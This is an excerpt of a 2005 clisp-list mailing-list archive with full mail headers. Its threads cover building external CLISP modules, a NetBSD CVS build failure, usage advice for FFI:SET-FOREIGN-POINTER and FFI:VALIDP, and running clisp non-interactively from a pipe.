NEW_LIBS & NEW_FILES? yes it is mentioned file_list=3D'win32-grammar.o' mod_list=3D'' if test -r kivcparser.c; then file_list=3D"$file_list"' kivcparser.o' mod_list=3D"$mod_list"' kivcparser' fi make clisp-module CC=3D"${CC}" CPPFLAGS=3D"${CPPFLAGS}" CFLAGS=3D"${CFLAGS}= " INCLUDES=3D"$absolute_linkkitdir" NEW_FILES=3D"$file_list" NEW_LIBS=3D"$file_list -lm" NEW_MODULES=3D"$mod_list" TO_PRELOAD=3D'../../../kivcparserdir-2.33.2/kivcparser.fas' From sds@gnu.org Thu Oct 27 08:00:20 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EV9Em-0000mW-Vr for clisp-list@lists.sourceforge.net; Thu, 27 Oct 2005 08:00:16 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EV9Ej-0003wn-JZ for clisp-list@lists.sourceforge.net; Thu, 27 Oct 2005 08:00:17 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9RExsIm001989; Thu, 27 Oct 2005 10:59:55 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <243236a40510270029o4a87c78ftc3e6772a3b6c2559@mail.gmail.com> (Dimitrios Kapanikis's message of "Thu, 27 Oct 2005 09:29:06 +0200") References: <243236a40510240504n35cf1b2cs@mail.gmail.com> <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> <243236a40510270029o4a87c78ftc3e6772a3b6c2559@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 27 08:03:09 2005 X-Original-Date: Thu, 27 Oct 2005 10:58:54 -0400 > * Dimitrios Kapanikis [2005-10-27 09:29:06 +0200]: > >> does kivcparser.c (generated by (compile-file "kivcparser.lisp")) >> mention kivcparser_c_parser? > > yes it is mentioned there: > >> where is its compilation line? > > the above code is the last 25 lines of the code or what do you mean > with compilation line? gcc ... -c kivcparser.c >> is kivcparser.o mentioned in NEW_LIBS & NEW_FILES? > > yes it is mentioned > > > > file_list='win32-grammar.o' > mod_list='' > if test -r kivcparser.c; then > file_list="$file_list"' kivcparser.o' > mod_list="$mod_list"' kivcparser' > fi > make clisp-module CC="${CC}" CPPFLAGS="${CPPFLAGS}" CFLAGS="${CFLAGS}" > INCLUDES="$absolute_linkkitdir" > NEW_FILES="$file_list" > NEW_LIBS="$file_list -lm" are you really using libm.so? > NEW_MODULES="$mod_list" > TO_PRELOAD='../../../kivcparserdir-2.33.2/kivcparser.fas' > > is kivcparser.o actually generated? -- Sam Steingold (http://www.podval.org/~sds) running w2k People hear what they want to hear and discard the rest. From lisp-clisp-list@m.gmane.org Sun Oct 30 12:05:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWJQR-0005aJ-ET for clisp-list@lists.sourceforge.net; Sun, 30 Oct 2005 12:05:07 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EWJQQ-0008Ky-Jr for clisp-list@lists.sourceforge.net; Sun, 30 Oct 2005 12:05:07 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EWJOi-0006yp-Fq for clisp-list@lists.sourceforge.net; Sun, 30 Oct 2005 21:03:20 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 30 Oct 2005 21:03:20 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 30 Oct 2005 21:03:20 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 46 Message-ID: <87irveojrq.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:9SQlz9u72LcKxlq56HQqozCBq40= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CVS build problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 30 12:05:41 2005 X-Original-Date: Sun, 30 Oct 2005 21:02:49 +0100 I'm trying to build clisp cvs on NetBSD/powerpc, but the build stops at modules. I pasted the last screenfull of messages below. What can be done about this? sed -e 's%@with_dynamic_modules@%no%' -e 's%@createsharedlib@%%' -e 's%@LEXE@%.run%' -e 's%@SHREXT@%.so%'< ../src/clisp-link.in > clisp-link chmod a+x clisp-link gcc -I/usr/local/include -I/usr/pkg/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c In file included from genclisph.d:7: lispbibl.d:8965: warning: volatile register variables don't work as you might wish gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -L/usr/local/lib -L/usr/pkg/lib -x none genclisph.o -o genclisph (echo '#ifndef _CLISP_H' ; echo '#define _CLISP_H' ; echo; echo '/* unixconf */' ; grep '^#' unixconf.h ) > clisp.h (echo; echo '/* 'intparam.h' */' ; grep '^#' intparam.h ) >> clisp.h (echo; echo '/* 'floatparam.h' */' ; grep '^#' floatparam.h ) >> clisp.h (echo; echo '/* genclisph */' ; ./genclisph clisp-test.c; echo ; echo '#endif /* _CLISP_H */') >> clisp.h writing test file clisp-test.c wrote 160 tests (150 typedefs, 10 defines) gcc -I/usr/local/include -I/usr/pkg/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -L/usr/local/lib -L/usr/pkg/lib -x none -DUSE_CLISP_H=1 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-clisp gcc -I/usr/local/include -I/usr/pkg/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -L/usr/local/lib -L/usr/pkg/lib -x none -DUSE_CLISP_H=0 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-lispbibl In file included from clisp-test.c:5: lispbibl.d:8965: warning: volatile register variables don't work as you might wish ./clisp-test-clisp > clisp-test-clisp.out ./clisp-test-lispbibl > clisp-test-lispbibl.out cmp clisp-test-clisp.out clisp-test-lispbibl.out if grep lispbibl.d clisp.h; then false; else true; fi rm -f genclisph clisp-test-clisp clisp-test-lispbibl clisp-test-clisp.out clisp-test-lispbibl.out rm -f modprep.lisp ln -s ../utils/modprep.lisp modprep.lisp rm -rf linkkit mkdir linkkit cd linkkit && ln -s ../modules.d modules.d cd linkkit && ln -s ../modules.c modules.c cd linkkit && ln -s ../clisp.h clisp.h cd linkkit && ln -s ../modprep.lisp modprep.lisp (echo 'CC='"'"'gcc'"'" ; echo 'CPPFLAGS='"'"'-I/usr/local/include -I/usr/pkg/include'"'" ; echo 'CFLAGS='"'"'-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I.'"'" ; echo 'CLFLAGS='"'"'-L/usr/local/lib -L/usr/pkg/lib -x none'"'" ; echo 'LIBS='"'"'lisp.a /usr/pkg/lib/libintl.so -lc -Wl,-rpath -Wl,/usr/pkg/lib libcharset.a /usr/pkg/lib/libreadline.so -Wl,-rpath -Wl,/usr/pkg/lib -lncurses /usr/pkg/lib/libiconv.so -Wl,-rpath -Wl,/usr/pkg/lib -L/usr/local/lib -lsigsegv -lc'"'" ; echo 'X_LIBS='"'"'-L/usr/X11R6/lib -lX11'"'" ; echo 'RANLIB='"'"'ranlib'"'" ; echo 'FILES='"'"'lisp.a libnoreadline.a libcharset.a '"'") > makevars ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -M lispinit.mem -q -c ../utils/modprep.lisp -o modprep.fas ;; Compiling file /home/magnus/noarchive/src/clisp-cvs/utils/modprep.lisp ... ;; Wrote file /home/magnus/noarchive/src/clisp-cvs/build/modprep.fas 0 errors, 0 warnings ../src/lndir ../modules/i18n i18n m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a i18n/configure -nt i18n/config.status ; then cd i18n ; ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} --srcdir=$m ; else ./configure --srcdir=$m ; fi ) ; fi CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc" CPPFLAGS="-I/usr/local/include -I/usr/pkg/include" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I." INCLUDES="$dots" CLFLAGS="-L/usr/local/lib -L/usr/pkg/lib -x none" LIBS="/usr/pkg/lib/libintl.so -lc -Wl,-rpath -Wl,/usr/pkg/lib libcharset.a /usr/pkg/lib/libreadline.so -Wl,-rpath -Wl,/usr/pkg/lib -lncurses /usr/pkg/lib/libiconv.so -Wl,-rpath -Wl,/usr/pkg/lib -L/usr/local/lib -lsigsegv -lc" RANLIB="ranlib" CLISP="$CLISP -q" make: don't know how to make clisp-module. Stop make: stopped in /home/magnus/noarchive/src/clisp-cvs/build/i18n *** Error code 2 From sds@gnu.org Sun Oct 30 20:50:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWRct-0001Ff-Ka for clisp-list@lists.sourceforge.net; Sun, 30 Oct 2005 20:50:31 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWRcr-000836-DJ for clisp-list@lists.sourceforge.net; Sun, 30 Oct 2005 20:50:31 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 30 Oct 2005 23:50:29 -0500 X-IronPort-AV: i="3.97,267,1125892800"; d="scan'208"; a="112514693:sNHT23164108" To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87irveojrq.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Sun, 30 Oct 2005 21:02:49 +0100") References: <87irveojrq.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: CVS build problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 30 20:51:37 2005 X-Original-Date: Sun, 30 Oct 2005 23:49:26 -0500 > * Magnus Henoch [2005-10-30 21:02:49 +0100]: > > I'm trying to build clisp cvs on NetBSD/powerpc, but the build stops > at modules. I am glad the core builds. > I pasted the last screenfull of messages below. What can be done > about this? > > ../src/lndir ../modules/i18n i18n > m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a i18n/configure -nt i18n/config.status ; then cd i18n ; ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} --srcdir=$m ; else ./configure --srcdir=$m ; fi ) ; fi for some reason this does not run i18n/configure. could you please figure out why? thanks! > CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc" CPPFLAGS="-I/usr/local/include -I/usr/pkg/include" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I." INCLUDES="$dots" CLFLAGS="-L/usr/local/lib -L/usr/pkg/lib -x none" LIBS="/usr/pkg/lib/libintl.so -lc -Wl,-rpath -Wl,/usr/pkg/lib libcharset.a /usr/pkg/lib/libreadline.so -Wl,-rpath -Wl,/usr/pkg/lib -lncurses /usr/pkg/lib/libiconv.so -Wl,-rpath -Wl,/usr/pkg/lib -L/usr/local/lib -lsigsegv -lc" RANLIB="ranlib" CLISP="$CLISP -q" > make: don't know how to make clisp-module. Stop configure was not run ==> no i18n/Makefile was generated. -- Sam Steingold (http://www.podval.org/~sds) running w2k Despite the raising cost of living, it remains quite popular. From kavenchuk@jenty.by Mon Oct 31 01:19:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWVpW-0002iE-RG for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 01:19:50 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWVpT-0008Qu-RG for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 01:19:50 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK6ZDD; Mon, 31 Oct 2005 11:20:46 +0200 Message-ID: <4365E203.4040108@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] FFI:SET-FOREIGN-POINTER and FFI:VALIDP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 31 01:20:26 2005 X-Original-Date: Mon, 31 Oct 2005 11:21:07 +0200 using of FFI:SET-FOREIGN-POINTER and FFI:VALIDP is necessary or is recommended? (it are used in the postgresql, but not used in the win32) It is possible to deduce criterion of necessity of use it? Thanks! -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 31 05:13:19 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWZTH-00043a-Io for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 05:13:07 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWZTF-0000As-Vf for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 05:13:07 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 31 Oct 2005 14:12:05 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 31 Oct 2005 14:12:05 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030681E74E@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by Subject: Re: [clisp-list] FFI:SET-FOREIGN-POINTER and FFI:VALIDP MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 31 05:13:46 2005 X-Original-Date: Mon, 31 Oct 2005 14:12:03 +0100 Yaroslav Kavenchuk wrote: >using of FFI:SET-FOREIGN-POINTER and FFI:VALIDP is necessary or is >recommended? (it are used in the postgresql, but not used in the win32) Pro: Recommended. Can help debugging, protect against illegal access & document semantics. Contra: Extra code (+run-time) not neccessary if code were correct in the first place... >It is possible to deduce criterion of necessity of use it? If you like fine control about lifetime, use it. Don't use it in combination with fields dereferenced widly from other substructures, since that behaviour can become non-intuitive. Basically the base pointer of the dereferenced pointer is preserved, which need not necessarily make sense in the context of the application. I.e. the memory pointed to by some structure element may have lifetime vastly different (esp. longer) than the structure itself. Regards, Jorg Hohle. From guadarrama@in.tu-clausthal.de Mon Oct 31 10:40:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWeZh-0002qG-OW for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 10:40:05 -0800 Received: from www.parco.org ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWeZg-00038b-H5 for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 10:40:05 -0800 Received: from [139.174.100.114] (tribbles.in.tu-clausthal.de [139.174.100.114]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id 721492E8003 for ; Mon, 31 Oct 2005 19:19:24 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) Content-Transfer-Encoding: 7bit Message-Id: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Juan C.Acosta Guadarrama X-Mailer: Apple Mail (2.623) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 31 10:40:47 2005 X-Original-Date: Mon, 31 Oct 2005 19:19:20 +0100 Dear All, although I've programmed in other functional languages before, I'm new to lisp and I'm trying to implement a non-interactive system. So, according to the man pages, I may realise it by using switch -c. However, I receive the following error when executing a simple evaluation: $ echo "(+ 11 99)"|clisp -q -c - STACK depth: 16367 *** - OPEN: file #P"/Users/juan/Sites/academy/cgi-bin/-.lisp" does not exist any idea? Thanks in advance! -- Best regards, Juan From sds@gnu.org Mon Oct 31 11:02:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWev0-0003wH-Dj for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 11:02:06 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWeuw-000356-BL for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 11:02:06 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9VJ1LJ1013076; Mon, 31 Oct 2005 14:01:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Juan C.Acosta Guadarrama" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> (Juan C. Acosta Guadarrama's message of "Mon, 31 Oct 2005 19:19:20 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 31 11:02:53 2005 X-Original-Date: Mon, 31 Oct 2005 14:00:23 -0500 > * Juan C.Acosta Guadarrama [2005-10-31 19:19:20 +0100]: > > according to the man pages, I may realise it by using switch > -c. where does the man page say that? > However, I receive the following error when executing a simple > evaluation: > > $ echo "(+ 11 99)"|clisp -q -c - > STACK depth: 16367 > > *** - OPEN: file #P"/Users/juan/Sites/academy/cgi-bin/-.lisp" does not > exist "-c -" tries to compile a file named "-". instead: $ echo "(+ 11 99)"|clisp -q -norc [1]> 110 see also http://clisp.cons.org/impnotes/quickstart.html -- Sam Steingold (http://www.podval.org/~sds) running w2k Apathy Club meeting this Friday. If you want to come, you're not invited. From Devon@Jovi.Net Mon Oct 31 12:01:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWfqV-0006jX-7l for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 12:01:31 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EWfqU-0003jD-LU for clisp-list@lists.sourceforge.net; Mon, 31 Oct 2005 12:01:31 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j9VJ8YBV080188 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 31 Oct 2005 14:08:34 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j9VJ8YvF080185; Mon, 31 Oct 2005 14:08:34 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200510311908.j9VJ8YvF080185@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: "Juan C.Acosta Guadarrama" CC: clisp-list@lists.sourceforge.net In-reply-to: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> (guadarrama@in.tu-clausthal.de) Subject: Re: [clisp-list] non-interactive clisp References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> X-Spam-Status: No, score=-3.6 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Mon, 31 Oct 2005 14:08:40 -0500 (EST) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 31 12:02:04 2005 X-Original-Date: Mon, 31 Oct 2005 14:08:34 -0500 (EST) Instead of $ echo "(+ 11 99)"|clisp -q -c - try $ echo "(+ 11 99)" > "-.lisp"; clisp -q -c - but consider using a longer, more expressive file name. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From: "Juan C.Acosta Guadarrama" Date: Mon, 31 Oct 2005 19:19:20 +0100 Dear All, although I've programmed in other functional languages before, I'm new to lisp and I'm trying to implement a non-interactive system. So, according to the man pages, I may realise it by using switch -c. However, I receive the following error when executing a simple evaluation: $ echo "(+ 11 99)"|clisp -q -c - STACK depth: 16367 